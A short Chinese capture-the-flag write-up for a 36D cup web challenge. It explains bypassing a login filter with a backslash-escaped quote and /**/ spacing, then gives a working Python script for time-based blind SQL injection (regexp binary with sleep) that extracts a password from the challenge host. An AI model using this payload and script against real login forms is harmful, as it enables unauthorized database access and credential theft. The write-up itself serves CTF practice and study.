36D杯的其他部分题目:戳我

Q:为啥这题没和它们放一起?A:后做的,我懒,而且忘记了。


源代码有以下两行注释:

<!-- if (!preg_match('/admin/', $uname)) die; -->
<!-- select * from 36d_user where username='$uname' and password='$passwd'; -->

用户名必须包含admin,其后如果输入'substrasciimid||空格-等号><均会触发WAF。

使用\注释掉'$uname'尾部的单引号,后面跟上or+注入语句。使用regexp进行时间盲注(为真页面无变化),空格用/**/代替,还需要注意mysql的正则不区分大小写,如果要区分的话,要在regexp后加 binary关键字。

import requests
import string
import time

url = r"http://ed977ea3-7f14-4a79-b591-1e42372a53cd.chall.ctf.show/"
dic = string.ascii_letters+string.digits
data = {
    'username':'admin\\',
    'password':''
}
flag = ""
for i in range(30):
    for j in dic:
        password = 'or/**/if((password/**/regexp/**/binary/**/"^'+flag+j+'"),sleep(4),1)#'
        # print(password)
        data['password']=password
        
        startTime=time.time()
        r = requests.post(url,data=data)
        
        if(time.time()-startTime) >= 3:
            flag += j
            print(flag)
            break